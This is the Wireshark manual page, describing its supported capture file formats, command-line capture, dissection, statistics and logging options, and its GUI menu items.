wireshark-i <capture interface>|- ] [ -f <capture filter> ] [ -Y <display filter> ] [ -w <outfile> ] [ options ] [ <infile> ]

wireshark -h|–help

wireshark -v|–version

DESCRIPTION

Wireshark is a GUI network protocol analyzer. It lets you interactively browse packet data from a live network or from a previously saved capture file. Wiresharks native capture file formats are pcapng format and pcap format; it can read and write both formats.. pcap format is also the format used by tcpdump and various other tools; tcpdump, when using newer versions of the libpcap library, can also read some pcapng files, and, on newer versions of macOS, can read all pcapng files and can write them as well.

Wireshark can also read / import the following file formats:

·

Oracle (previously Sun) snoop and atmsnoop captures

·

Finisar (previously Shomiti) Surveyor captures

·

Microsoft Network Monitor captures

·

Novell LANalyzer captures

·

AIX’s iptrace captures

·

Cinco Networks NetXRay captures

·

NETSCOUT (previously Network Associates/Network General) Windows-based Sniffer captures

·

Network General/Network Associates DOS-based Sniffer captures (compressed or uncompressed)

·

LiveAction (previously WildPackets/Savvius) *Peek/EtherHelp/PacketGrabber captures

·

RADCOMs WAN/LAN analyzer captures

·

Viavi (previously Network Instruments) Observer captures

·

Lucent/Ascend router debug output

·

captures from HP-UX nettl

·

Toshiba’s ISDN routers dump output

·

the output from i4btrace from the ISDN4BSD project

·

traces from the EyeSDN USB S0

·

the IPLog format output from the Cisco Secure Intrusion Detection System

·

pppd logs (pppdump format)

·

the output from VMS’s TCPIPtrace/TCPtrace/UCX$TRACE utilities

·

the text output from the DBS Etherwatch VMS utility

·

Visual Networks Visual UpTime traffic capture

·

the output from CoSine L2 debug

·

the output from InfoVista (previously Accellent) 5View LAN agents

·

Endace Measurement Systems ERF format captures

·

Linux Bluez Bluetooth stack hcidump -w traces

·

Catapult DCT2000 .out files

·

Gammu generated text output from Nokia DCT3 phones in Netmonitor mode

·

IBM Series (OS/400) Comm traces (ASCII & UNICODE)

·

Juniper Netscreen snoop files

·

Symbian OS btsnoop files

·

TamoSoft CommView files

·

Tektronix K12xx 32bit .rf5 format files

·

Tektronix K12 text file format captures

·

Apple PacketLogger files

·

Captures from Aethra Telecommunications PC108 software for their test instruments

·

Citrix NetScaler Trace files

·

Android Logcat binary and text format logs

·

Colasoft Capsa and PacketBuilder captures

·

Micropross mplog files

·

Unigraf DPA-400 DisplayPort AUX channel monitor traces

·

802.15.4 traces from Daintree’s Sensor Network Analyzer

·

MPEG-2 Transport Streams as defined in ISO/IEC 13818-1

·

Log files from the candump utility

·

Logs from the BUSMASTER tool

·

Ixia IxVeriWave raw captures

·

Rabbit Labs CAM Inspector files

·

systemd journal files

·

3GPP TS 32.423 trace files

There is no need to tell Wireshark what type of file you are reading; it will determine the file type by itself. Wireshark is also capable of reading any of these file formats if they are compressed using gzip. Wireshark recognizes this directly from the file; the .gz extension is not required for this purpose.

Like other protocol analyzers, Wiresharks main window shows 3 views of a packet. It shows a summary line, briefly describing what the packet is. A packet details display is shown, allowing you to drill down to exact protocol or field that you interested in. Finally, a hex dump shows you exactly what the packet looks like when it goes over the wire.

In addition, Wireshark has some features that make it unique. It can assemble all the packets in a TCP conversation and show you the ASCII (or EBCDIC, or hex) data in that conversation. Display filters in Wireshark are very powerful; more fields are filterable in Wireshark than in other protocol analyzers, and the syntax you can use to create your filters is richer. As Wireshark progresses, expect more and more protocol fields to be allowed in display filters.

Packet capturing is performed with the pcap library. The capture filter syntax follows the rules of the pcap library. This syntax is different from the display filter syntax.

Compressed file support uses (and therefore requires) the zlib library. If the zlib library is not present, Wireshark will compile, but will be unable to read compressed files.

The pathname of a capture file to be read can be specified with the -r option or can be specified as a command-line argument.

OPTIONS

Most users will want to start Wireshark without options and configure it from the menus instead. Those users may just skip this section.

-a|–autostop <capture autostop condition>

Specify a criterion that specifies when Wireshark is to stop writing to a capture file. The criterion is of the form test:value, where test is one of:

duration:value Stop writing to a capture file after value seconds have elapsed. Floating point values (e.g. 0.5) are allowed.

files:value Stop writing to capture files after value number of files were written.

filesize:value Stop writing to a capture file after it reaches a size of value kB. If this option is used together with the -b option, Wireshark will stop writing to the current capture file and switch to the next one if filesize is reached. Note that the filesize is limited to a maximum value of 2 GiB.

packets:value Stop writing to a capture file after it contains value packets. Acts the same as -c<capture packet count>.

-b|–ring-buffer <capture ring buffer option>

Cause Wireshark to run in “multiple files” mode. In “multiple files” mode, Wireshark will write to several capture files. When the first capture file fills up, Wireshark will switch writing to the next file and so on.

The created filenames are based on the filename given with the -w flag, the number of the file and on the creation date and time, e.g. outfile_00001_20240714120117.pcap, outfile_00002_20240714120523.pcap, …

With the files option it’s also possible to form a “ring buffer”. This will fill up new files until the number of files specified, at which point Wireshark will discard the data in the first file and start writing to that file and so on. If the files option is not set, new files filled up until one of the capture stop conditions match (or until the disk is full).

The criterion is of the form key:value, where key is one of:

duration:value switch to the next file after value seconds have elapsed, even if the current file is not completely filled up. Floating point values (e.g. 0.5) are allowed.

files:value begin again with the first file after value number of files were written (form a ring buffer). This value must be less than 100000. Caution should be used when using large numbers of files: some filesystems do not handle many files in a single directory well. The files criterion requires one of the other criteria to be specified to control when to go to the next file. It should be noted that each -b parameter takes exactly one criterion; to specify two criteria, each must be preceded by the -b option.

filesize:value switch to the next file after it reaches a size of value kB. Note that the filesize is limited to a maximum value of 2 GiB.

interval:value switch to the next file when the time is an exact multiple of value seconds.

packets:value switch to the next file after it contains value packets.

Example: -b filesize:1000 -b files:5 results in a ring buffer of five files of size one megabyte each.

-B|–buffer-size <capture buffer size>

Set capture buffer size (in MiB, default is 2 MiB). This is used by the capture driver to buffer packet data until that data can be written to disk. If you encounter packet drops while capturing, try to increase this size. Note that, while Wireshark attempts to set the buffer size to 2 MiB by default, and can be told to set it to a larger value, the system or interface on which you’re capturing might silently limit the capture buffer size to a lower value or raise it to a higher value.

This is available on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, with libpcap 1.0.0 or later, and on Windows. It is not available on UNIX-compatible systems with earlier versions of libpcap.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture buffer size. If used after an -i option, it sets the capture buffer size for the interface specified by the last -i option occurring before this option. If the capture buffer size is not set specifically, the default capture buffer size is used instead.

-c <capture packet count>

Set the maximum number of packets to read when capturing live data. Acts the same as -a packets:<capture packet count>.

-C <configuration profile>

Start with the given configuration profile.

–capture-comment <comment>

When performing a capture file from the command line, with the -k flag, add a capture comment to the output file, if supported by the capture format.

This option may be specified multiple times. Note that Wireshark currently only displays the first comment of a capture file.

-D|–list-interfaces

Print a list of the interfaces on which Wireshark can capture, and exit. For each network interface, a number and an interface name, possibly followed by a text description of the interface, is printed. The interface name or the number can be supplied to the -i flag to specify an interface on which to capture. The number can be useful on Windows systems, where the interfaces have long names that usually contain a GUID.

–display <X display to use>

Specifies the X display to use. A hostname and screen (otherhost:0.0) or just a screen (:0.0) can be specified. This option is not available under macOS or Windows.

-f <capture filter>

Set the capture filter expression.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture filter expression. If used after an -i option, it sets the capture filter expression for the interface specified by the last -i option occurring before this option. If the capture filter expression is not set specifically, the default capture filter expression is used if provided.

Pre-defined capture filter names, as shown in the GUI menu item Capture→Capture Filters, can be used by prefixing the argument with “predef:”. Example: -f “predef:MyPredefinedHostOnlyFilter”

–fullscreen

Start Wireshark in full screen mode (kiosk mode). To exit from fullscreen mode, open the View menu and select the Full Screen option. Alternatively, press the F11 key (or Ctrl + Cmd + F for macOS).

-g <packet number>

After reading in a capture file using the -r flag, go to the given packet number.

-h|–help

Print the version number and options and exit.

-H

Hide the capture info dialog during live packet capture.

-i|–interface <capture interface>|-

Set the name of the network interface or pipe to use for live packet capture.

Network interface names should match one of the names listed in “wireshark -D” (described above); a number, as reported by “tshark -D”, can also be used.

If no interface is specified, Wireshark searches the list of interfaces, choosing the first non-loopback interface if there are any non-loopback interfaces, and choosing the first loopback interface if there are no non-loopback interfaces. If there are no interfaces at all, Wireshark reports an error and doesn’t start the capture.

Pipe names should be either the name of a FIFO (named pipe) or “-” to read data from the standard input. On Windows systems, pipe names must be of the form “.\pipe*pipename*”. Data read from pipes must be in standard pcapng or pcap format. Pcapng data must have the same endianness as the capturing host.

“TCP@<host>:<port>” causes Wireshark to attempt to connect to the specified port on the specified host and read pcapng or pcap data.

This option can occur multiple times. When capturing from multiple interfaces, the capture file will be saved in pcapng format.

-I|–monitor-mode

Put the interface in “monitor mode”; this is supported only on IEEE 802.11 Wi-Fi interfaces, and supported only on some operating systems.

Note that in monitor mode the adapter might disassociate from the network with which it’s associated, so that you will not be able to use any wireless networks with that adapter. This could prevent accessing files on a network server, or resolving host names or network addresses, if you are capturing in monitor mode and are not connected to another network with another adapter.

This option can occur multiple times. If used before the first occurrence of the -i option, it enables the monitor mode for all interfaces. If used after an -i option, it enables the monitor mode for the interface specified by the last -i option occurring before this option.

-j

Use after -J to change the behavior when no exact match is found for the filter. With this option select the first packet before.

-J <jump filter>

After reading in a capture file using the -r flag, jump to the packet matching the filter (display filter syntax). If no exact match is found the first packet after that is selected.

-k

Start the capture session immediately. If the -i flag was specified, the capture uses the specified interface. Otherwise, Wireshark searches the list of interfaces, choosing the first non-loopback interface if there are any non-loopback interfaces, and choosing the first loopback interface if there are no non-loopback interfaces; if there are no interfaces, Wireshark reports an error and doesn’t start the capture.

-l

Turn on automatic scrolling if the packet display is being updated automatically as packets arrive during a capture (as specified by the -S flag).

-L|–list-data-link-types

List the data link types supported by the interface and exit.

–list-time-stamp-types

List time stamp types supported for the interface. If no time stamp type can be set, no time stamp types are listed.

-o <preference/recent setting>

Set a preference or recent value, overriding the default value and any value read from a preference/recent file. The argument to the flag is a string of the form prefname:value, where prefname is the name of the preference/recent value (which is the same name that would appear in the preference/recent file), and value is the value to which it should be set. Since Ethereal 0.10.12, the recent settings replaces the formerly used -B, -P and -T flags to manipulate the GUI dimensions.

If prefname is “uat”, you can override settings in various user access tables using the form “uat:uat filename:uat record”. uat filename must be the name of a UAT file, e.g. user_dlts. uat_record must be in the form of a valid record for that file, including quotes. For instance, to specify a user DLT from the command line, you would use

-o “uat:user_dlts:"User 0 (DLT=147)","cops","0","","0",""”

-p|–no-promiscuous-mode

Don’t put the interface into promiscuous mode. Note that the interface might be in promiscuous mode for some other reason; hence, -p cannot be used to ensure that the only traffic that is captured is traffic sent to or from the machine on which Wireshark is running, broadcast traffic, and multicast traffic to addresses received by that machine.

This option can occur multiple times. If used before the first occurrence of the -i option, no interface will be put into the promiscuous mode. If used after an -i option, the interface specified by the last -i option occurring before this option will not be put into the promiscuous mode.

-P <path setting>

Special path settings usually detected automatically. This is used for special cases, e.g. starting Wireshark from a known location on an USB stick.

The criterion is of the form key:path, where key is one of:

persconf:path path of personal configuration files, like the preferences files.

persdata:path path of personal data files, it’s the folder initially opened. After the very first initialization, the recent file will keep the folder last used.

-r|–read-file <infile>

Read packet data from infile, can be any supported capture file format (including gzipped files). It’s not possible to use named pipes or stdin here! To capture from a pipe or from stdin use -i -

-R|–read-filter <read (display) filter>

When reading a capture file specified with the -r flag, causes the specified filter (which uses the syntax of display filters, rather than that of capture filters) to be applied to all packets read from the capture file; packets not matching the filter are discarded.

-s|–snapshot-length <capture snaplen>

Set the default snapshot length to use when capturing live data. No more than snaplen bytes of each network packet will be read into memory, or saved to disk. A value of 0 specifies a snapshot length of 262144, so that the full packet is captured; this is the default.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default snapshot length. If used after an -i option, it sets the snapshot length for the interface specified by the last -i option occurring before this option. If the snapshot length is not set specifically, the default snapshot length is used if provided.

-S

Automatically update the packet display as packets are coming in.

–temp-dir <directory>

Specifies the directory into which temporary files (including capture files) are to be written. The default behavior on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, is to use the environment variable $TMPDIR if set, and the system default, typically /tmp, if it is not. On Windows, the %TEMP% environment variable is used, which typically defaults to %USERPROFILE%\AppData\Local\Temp.

–time-stamp-type <type>

Change the interface’s timestamp method. See –list-time-stamp-types.

–update-interval <interval>

Set the length of time in milliseconds between new packet reports during a capture. Also sets the granularity of file duration conditions. The default value is 100ms.

-v|–version

Print the full version information and exit.

-w <outfile>

Set the default capture file name, or - for standard output.

-X <eXtension options>

Specify an option to be passed to an Wireshark module. The eXtension option is in the form extension_key:value, where extension_key can be:

lua_script:lua_script_filename tells Wireshark to load the given script in addition to the default Lua scripts.

lua_scriptnum:argument tells Wireshark to pass the given argument to the lua script identified by num, which is the number indexed order of the lua_script command. For example, if only one script was loaded with -X lua_script:my.lua, then -X lua_script1:foo will pass the string foo to the my.lua script. If two scripts were loaded, such as -X lua_script:my.lua and -X lua_script:other.lua in that order, then a -X lua_script2:bar would pass the string bar to the second lua script, namely other.lua.

read_format:file_format tells Wireshark to use the given file format to read in the file (the file given in the -r command option).

stdin_descr:description tells Wireshark to use the given description when capturing from standard input (-i -).

-y|–linktype <capture link type>

If a capture is started from the command line with -k, set the data link type to use while capturing packets. The values reported by -L are the values that can be used.

This option can occur multiple times. If used before the first occurrence of the -i option, it sets the default capture link type. If used after an -i option, it sets the capture link type for the interface specified by the last -i option occurring before this option. If the capture link type is not set specifically, the default capture link type is used if provided.

-Y|–display-filter <displaY filter>

Start with the given display filter.

-z <statistics>

Get Wireshark to collect various types of statistics and display the result in a window that updates in semi-real time.

Some of the currently implemented statistics are:

-z help

Display all possible values for -z.

-z afp,srt[,filter]

Show Apple Filing Protocol service response time statistics.

-z conv,type[,filter]

Create a table that lists all conversations that could be seen in the capture. type specifies the conversation endpoint types for which we want to generate the statistics; currently the supported ones are:

“eth” Ethernet addresses “fc” Fibre Channel addresses “fddi” FDDI addresses “ip” IPv4 addresses “ipv6” IPv6 addresses “ipx” IPX addresses “tcp” TCP/IP socket pairs Both IPv4 and IPv6 are supported “tr” Token Ring addresses “udp” UDP/IP socket pairs Both IPv4 and IPv6 are supported

If the optional filter is specified, only those packets that match the filter will be used in the calculations.

The table is presented with one line for each conversation and displays the number of packets/bytes in each direction as well as the total number of packets/bytes. By default, the table is sorted according to the total number of packets.

These tables can also be generated at runtime by selecting the appropriate conversation type from the menu “Tools/Statistics/Conversation List/”.

-z dcerpc,srt,name-or-uuid,major.minor[,filter]

Collect call/reply SRT (Service Response Time) data for DCERPC interface name or uuid, version major.minor. Data collected is the number of calls for each procedure, MinSRT, MaxSRT and AvgSRT. Interface name and uuid are case-insensitive.

Example: -z dcerpc,srt,12345778-1234-abcd-ef00-0123456789ac,1.0 will collect data for the CIFS SAMR Interface.

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z dcerpc,srt,12345778-1234-abcd-ef00-0123456789ac,1.0,ip.addr==1.2.3.4 will collect SAMR SRT statistics for a specific host.

-z dhcp,stat[,filter]

Show DHCP (BOOTP) statistics.

-z expert

Show expert information.

-z fc,srt[,filter]

Collect call/reply SRT (Service Response Time) data for FC. Data collected is the number of calls for each Fibre Channel command, MinSRT, MaxSRT and AvgSRT.

Example: -z fc,srt will calculate the Service Response Time as the time delta between the First packet of the exchange and the Last packet of the exchange.

The data will be presented as separate tables for all normal FC commands, Only those commands that are seen in the capture will have its stats displayed.

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “fc,srt,fc.id==01.02.03” will collect stats only for FC packets exchanged by the host at FC address 01.02.03 .

-z h225,counter[,filter]

Count ITU-T H.225 messages and their reasons. In the first column you get a list of H.225 messages and H.225 message reasons which occur in the current capture file. The number of occurrences of each message or reason is displayed in the second column.

Example: -z h225,counter

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “h225,counter,ip.addr==1.2.3.4” will collect stats only for H.225 packets exchanged by the host at IP address 1.2.3.4 .

-z h225,srt[,filter]

Collect request/response SRT (Service Response Time) data for ITU-T H.225 RAS. Data collected is the number of calls of each ITU-T H.225 RAS Message Type, Minimum SRT, Maximum SRT, Average SRT, Minimum in Packet, and Maximum in Packet. You will also get the number of Open Requests (Unresponded Requests), Discarded Responses (Responses without matching request) and Duplicate Messages.

Example: -z h225,srt

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “h225,srt,ip.addr==1.2.3.4” will collect stats only for ITU-T H.225 RAS packets exchanged by the host at IP address 1.2.3.4 .

-z io,stat

Collect packet/bytes statistics for the capture in intervals of 1 second. This option will open a window with up to 5 color-coded graphs where number-of-packets-per-second or number-of-bytes-per-second statistics can be calculated and displayed.

This option can be used multiple times on the command line.

This graph window can also be opened from the Analyze:Statistics:Traffic:IO-Stat menu item.

-z ldap,srt[,filter]

Collect call/reply SRT (Service Response Time) data for LDAP. Data collected is the number of calls for each implemented LDAP command, MinSRT, MaxSRT and AvgSRT.

Example: -z ldap,srt will calculate the Service Response Time as the time delta between the Request and the Response.

The data will be presented as separate tables for all implemented LDAP commands, Only those commands that are seen in the capture will have its stats displayed.

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: use -z “ldap,srt,ip.addr==10.1.1.1” will collect stats only for LDAP packets exchanged by the host at IP address 10.1.1.1 .

The only LDAP commands that are currently implemented and for which the stats will be available are: BIND SEARCH MODIFY ADD DELETE MODRDN COMPARE EXTENDED

-z megaco,srt[,filter]

Collect request/response SRT (Service Response Time) data for MEGACO. (This is similar to -z smb,srt). Data collected is the number of calls for each known MEGACO Command, Minimum SRT, Maximum SRT and Average SRT.

Example: -z megaco,srt

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “megaco,srt,ip.addr==1.2.3.4” will collect stats only for MEGACO packets exchanged by the host at IP address 1.2.3.4 .

-z mgcp,srt[,filter]

Collect request/response SRT (Service Response Time) data for MGCP. (This is similar to -z smb,srt). Data collected is the number of calls for each known MGCP Type, Minimum SRT, Maximum SRT and Average SRT.

Example: -z mgcp,srt

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “mgcp,srt,ip.addr==1.2.3.4” will collect stats only for MGCP packets exchanged by the host at IP address 1.2.3.4 .

-z mtp3,msus[,<filter>]

Show MTP3 MSU statistics.

-z multicast,stat[,<filter>]

Show UDP multicast stream statistics.

-z rpc,programs

Collect call/reply SRT data for all known ONC-RPC programs/versions. Data collected is the number of calls for each protocol/version, MinSRT, MaxSRT and AvgSRT.

-z rpc,srt,name-or-number,version[,<filter>]

Collect call/reply SRT (Service Response Time) data for program name/version or number/version. Data collected is the number of calls for each procedure, MinSRT, MaxSRT and AvgSRT. Program name is case-insensitive.

Example: -z rpc,srt,100003,3 will collect data for NFS v3.

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z rpc,srt,nfs,3,nfs.fh.hash==0x12345678 will collect NFS v3 SRT statistics for a specific file.

-z scsi,srt,cmdset[,<filter>]

Collect call/reply SRT (Service Response Time) data for SCSI commandset <cmdset>.

Commandsets are 0:SBC 1:SSC 5:MMC

Data collected is the number of calls for each procedure, MinSRT, MaxSRT and AvgSRT.

Example: -z scsi,srt,0 will collect data for SCSI BLOCK COMMANDS (SBC).

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z scsi,srt,0,ip.addr==1.2.3.4 will collect SCSI SBC SRT statistics for a specific iscsi/ifcp/fcip host.

-z sip,stat[,filter]

This option will activate a counter for SIP messages. You will get the number of occurrences of each SIP Method and of each SIP Status-Code. Additionally you also get the number of resent SIP Messages (only for SIP over UDP).

Example: -z sip,stat

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “sip,stat,ip.addr==1.2.3.4” will collect stats only for SIP packets exchanged by the host at IP address 1.2.3.4 .

-z smb,srt[,filter]

Collect call/reply SRT (Service Response Time) data for SMB. Data collected is the number of calls for each SMB command, MinSRT, MaxSRT and AvgSRT.

Example: -z smb,srt

The data will be presented as separate tables for all normal SMB commands, all Transaction2 commands and all NT Transaction commands. Only those commands that are seen in the capture will have their stats displayed. Only the first command in a xAndX command chain will be used in the calculation. So for common SessionSetupAndX + TreeConnectAndX chains, only the SessionSetupAndX call will be used in the statistics. This is a flaw that might be fixed in the future.

This option can be used multiple times on the command line.

If the optional filter is provided, the stats will only be calculated on those calls that match that filter.

Example: -z “smb,srt,ip.addr==1.2.3.4” will collect stats only for SMB packets exchanged by the host at IP address 1.2.3.4 .

-z voip,calls

This option will show a window that shows VoIP calls found in the capture file. This is the same window shown as when you go to the Statistics Menu and choose VoIP Calls.

Example: -z voip,calls

-z wlan,stat[,<filter>]

Show IEEE 802.11 network and station statistics.

-z wsp,stat[,<filter>]

Show WSP packet counters.

DISSECTION OPTIONS

-d <layer type>==<selector>,<decode-as protocol>

Like Wireshark’s Decode As… feature, this lets you specify how a layer type should be dissected. If the layer type in question (for example, tcp.port or udp.port for a TCP or UDP port number) has the specified selector value, packets should be dissected as the specified protocol.

Example 1. Decode As Port

-d tcp.port==8888,http will decode any traffic running over TCP port 8888 as HTTP.

See the tshark(1) manual page for more examples.

–disable-all-protocols

Disable dissection of all protocols.

–disable-protocol <proto_name>[,<proto_name>,…]

Disable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default enabled protocol list and temporarily disable all protocols.

–disable-heuristic <short_name>

Disable dissection of heuristic protocol.

–enable-protocol <proto_name>[,<proto_name>,…]

Enable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default disabled protocol list and temporarily enable all protocols which are enabled by default.

If a protocol is implicated in both –disable-protocol and –enable-protocol, the protocol is enabled. This allows you to temporarily disable all protocols but a list of exceptions. Example: –disable-protocol ALL –enable-protocol eth,ip

–enable-heuristic <short_name>

Enable dissection of heuristic protocol.

-K <keytab>

Load kerberos crypto keys from the specified keytab file. This option can be used multiple times to load keys from several files.

Example: -K krb5.keytab

-n

Disable network object name resolution (such as hostname, TCP and UDP port names); the -N option might override this one.

-N <name resolving flags>

Turn on name resolving only for particular types of addresses and port numbers, with name resolving for other types of addresses and port numbers turned off. This option (along with -n) can be specified multiple times; the last value given overrides earlier ones. This option and -n override the options from the preferences, including preferences set via the -o option. If both -N and -n options are not present, the values from the preferences are used, which default to -N dmN.

The argument is a string that may contain the letters:

d to enable resolution from captured DNS packets

g to enable IP address geolocation information lookup from configured MaxMind databases

m to enable MAC address resolution

n to enable network address resolution

N to enable using external resolvers (e.g., DNS) for network address resolution; no effect without n also enabled.

t to enable transport-layer port number resolution

v to enable VLAN IDs to names resolution

–only-protocols <protocols>

Only enable dissection of these protocols, comma separated. Disable everything else.

-t (a|ad|adoy|d|dd|e|r|u|ud|udoy)[.[N]]|.[N]

Set the format of the packet timestamp displayed in the default time column. The format can be one of:

a absolute: The absolute time, as local time in your time zone, is the actual time the packet was captured, with no date displayed

ad absolute with date: 2020-01-01

adoy absolute with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as local time in your time zone, is the actual time and date the packet was captured

d delta: The delta time is the time since the previous packet was captured

dd delta_displayed: The delta_displayed time is the time since the previous displayed packet was captured

e epoch: The time in seconds since epoch (Jan 1, 1970 00:00:00)

r relative: The relative time is the time elapsed between the first packet and the current packet

u UTC: The absolute time, as UTC, is the actual time the packet was captured, with no date displayed

ud UTC with date: 2020-01-01

udoy UTC with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as UTC, is the actual time and date the packet was captured

.[N] Set the precision: N is the number of decimals (0 through 9). If using “.” without N, automatically determine precision from trace.

The default format is relative with precision based on capture format.

-u <s|hms>

Specifies how packet timestamp formats in -t which are relative times (i.e. relative, delta, and delta_displayed) are displayed. Valid choices are:

s for seconds

hms for hours, minutes, and seconds

The default format is seconds.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

INTERFACE

File › Open, File › Open Recent, File › Merge

Merge another capture file to the currently loaded one. The File:Merge dialog box allows the merge “Prepended”, “Chronologically” or “Appended”, relative to the already loaded one.

File › Close

Open or close a capture file. The File:Open dialog box allows a filter to be specified; when the capture file is read, the filter is applied to all packets read from the file, and packets not matching the filter are discarded. The File:Open Recent is a submenu and will show a list of previously opened files.

File › Save, File › Save As

Save the current capture, or the packets currently displayed from that capture, to a file. Check boxes let you select whether to save all packets, or just those that have passed the current display filter and/or those that are currently marked, and an option menu lets you select (from a list of file formats in which at particular capture, or the packets currently displayed from that capture, can be saved), a file format in which to save it.

File › File Set › List Files

Show a dialog box that lists all files of the file set matching the currently loaded file. A file set is a compound of files resulting from a capture using the “multiple files” / “ringbuffer” mode, recognizable by the filename pattern, e.g.: Filename_00001_20240714101530.pcap.

File › File Set › Next File, File › File Set › Previous File

If the currently loaded file is part of a file set (see above), open the next / previous file in that set.

File › Export

Export captured data into an external format. Note: the data cannot be imported back into Wireshark, so be sure to keep the capture file.

File › Print

Print packet data from the current capture. You can select the range of packets to be printed (which packets are printed), and the output format of each packet (how each packet is printed). The output format will be similar to the displayed values, so a summary line, the packet details view, and/or the hex dump of the packet can be printed.

File › Quit

Exit the application.

Edit › Copy › Description

Copies the description of the selected field in the protocol tree to the clipboard.

Edit › Copy › Fieldname

Copies the fieldname of the selected field in the protocol tree to the clipboard.

Edit › Copy › Value

Copies the value of the selected field in the protocol tree to the clipboard.

Edit › Copy › As Filter

Create a display filter based on the data currently highlighted in the packet details and copy that filter to the clipboard.

If that data is a field that can be tested in a display filter expression, the display filter will test that field; otherwise, the display filter will be based on the absolute offset within the packet. Therefore it could be unreliable if the packet contains protocols with variable-length headers, such as a source-routed token-ring packet.

Edit › Find Packet

Search forward or backward, starting with the currently selected packet (or the most recently selected packet, if no packet is selected). Search criteria can be a display filter expression, a string of hexadecimal digits, or a text string.

When searching for a text string, you can search the packet data, or you can search the text in the Info column in the packet list pane or in the packet details pane.

Hexadecimal digits can be separated by colons, periods, or dashes. Text string searches can be ASCII or Unicode (or both), and may be case insensitive.

Edit › Find Next, Edit › Find Previous

Search forward / backward for a packet matching the filter from the previous search, starting with the currently selected packet (or the most recently selected packet, if no packet is selected).

Edit › Mark Packet (toggle)

Mark (or unmark if currently marked) the selected packet. The field “frame.marked” is set for packets that are marked, so that, for example, a display filters can be used to display only marked packets, and so that the /“Edit:Find Packet” dialog can be used to find the next or previous marked packet.

Edit › Find Next Mark, Edit › Find Previous Mark

Find next or previous marked packet.

Edit › Mark All Packets, Edit › Unmark All Packets

Mark or unmark all packets that are currently displayed.

Edit › Time Reference › Set Time Reference (toggle)

Set (or unset if currently set) the selected packet as a Time Reference packet. When a packet is set as a Time Reference packet, the timestamps in the packet list pane will be replaced with the string “REF”. The relative time timestamp in later packets will then be calculated relative to the timestamp of this Time Reference packet and not the first packet in the capture.

Packets that have been selected as Time Reference packets will always be displayed in the packet list pane. Display filters will not affect or hide these packets.

If there is a column displayed for “Cumulative Bytes” this counter will be reset at every Time Reference packet.

Edit › Time Reference › Find Next, Edit › Time Reference › Find Previous

Search forward or backward for a time referenced packet.

Edit › Configuration Profiles

Manage configuration profiles to be able to use more than one set of preferences and configurations.

Edit › Preferences

Set the GUI, capture, and protocol options (see /Preferences dialog below).

View › Main Toolbar, View › Filter Toolbar, View › Statusbar

Show or hide the main window controls.

View › Packet List, View › Packet Details, View › Packet Bytes

Show or hide the main window panes.

View › Time Display Format

Set the format of the packet timestamp displayed in the packet list window.

View › Name Resolution › Resolve Name

Try to resolve a name for the currently selected item.

View › Name Resolution › Enable for … Layer

Enable or disable translation of addresses to names in the display.

View › Colorize Packet List

Enable or disable the coloring rules. Disabling will improve performance.

View › Auto Scroll in Live Capture

Enable or disable the automatic scrolling of the packet list while a live capture is in progress.

View › Zoom In, View › Zoom Out

Zoom into or out of the main window data (by changing the font size).

View › Normal Size

Reset the zoom level back to normal font size.

View › Resize All Columns

Resize all columns to best fit the current packet display.

View › Expand / Collapse Subtrees

Expand or collapse the currently selected item and its subtrees in the packet details.

View › Expand All, View › Collapse All

Expand or Collapse all branches of the packet details.

View › Colorize Conversation

Select a color for a conversation.

View › Reset Coloring 1-10

Reset a color for a conversation.

View › Coloring Rules

Change the foreground and background colors of the packet information in the list of packets, based upon display filters. The list of display filters is applied to each packet sequentially. After the first display filter matches a packet, any additional display filters in the list are ignored. Therefore, if you are filtering on the existence of protocols, you should list the higher-level protocols first, and the lower-level protocols last.

How Colorization Works

Packets are colored according to a list of color filters. Each filter consists of a name, a filter expression and a coloration. A packet is colored according to the first filter that it matches. Color filter expressions use exactly the same syntax as display filter expressions.

When Wireshark starts, the color filters are loaded from:

1.

The user’s personal color filters file or, if that does not exist,

2.

The global color filters file.

If neither of these exist then the packets will not be colored.

View › Show Packet In New Window

Create a new window containing a packet details view and a hex dump window of the currently selected packet; this window will continue to display that packet’s details and data even if another packet is selected.

View › Reload

Reload a capture file. Same as File:Close and File:Open the same file again.

Go › Back

Go back in previously visited packets history.

Go › Forward

Go forward in previously visited packets history.

Go › Go To Packet

Go to a particular numbered packet.

